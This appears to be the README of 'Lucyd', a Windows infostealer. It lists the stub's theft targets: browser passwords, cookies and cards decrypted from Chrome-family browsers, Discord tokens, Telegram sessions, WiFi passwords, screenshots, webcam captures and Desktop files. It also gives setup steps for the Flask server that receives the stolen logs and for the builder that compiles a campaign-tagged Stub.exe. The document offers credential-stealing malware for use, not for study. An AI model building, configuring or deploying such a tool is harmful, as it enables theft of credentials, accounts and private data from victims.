Windows data extraction tool written in C# (.NET 8).
- Browsers: Decrypts and extracts passwords, cookies (Netscape format), history, and autofill/cards from Chrome, Edge, Opera, Yandex, Brave, Vivaldi. Uses direct SQLite access and AES-GCM decryption.
- Discord: Extracts authentication tokens.
- Telegram: Extracts tdata/session files.
- Network: Dumps saved WiFi passwords.
- System: Collects hardware info, OS version, installed processes.
- Multimedia: Captures screenshots of all monitors and webcam images.
- Files: Grabs specified file types from Desktop (configurable size limits).
- Server: Python 3.10+
- Client: .NET SDK 8.0 (for building)
Receives logs and archives from the client.
-
Navigate to
backend/. -
Install dependencies:
pip install -r requirements.txt
-
Start the server:
python run.py
Server runs on
http://127.0.0.1:5000by default.Configuration: Edit
.envor defaults inbackend/app/config.pyto change theSHARED_SECRETif needed.
The Builder (Lucyd.exe) configures and compiles the client stub.
- Open
Lucyd.slnin Visual Studio. - Build and run the
Lucydproject (MainForm). - Configuration:
- Base URL: Address of your Python server (e.g.,
http://127.0.0.1:5000or public IP). - Shared Secret: Must match the secret in the backend configuration.
- Client Version: Identifier for the campaign/version.
- Base URL: Address of your Python server (e.g.,
- Modules: Check the features you want to enable (Browsers, WiFi, etc.).
- Click Build.
- The output
Stub.exewill be generated in a temporary directory.
client/: Source code for the payload (Stub).backend/: Python Flask server for receiving data.Lucyd/: Builder GUI application (WinForms).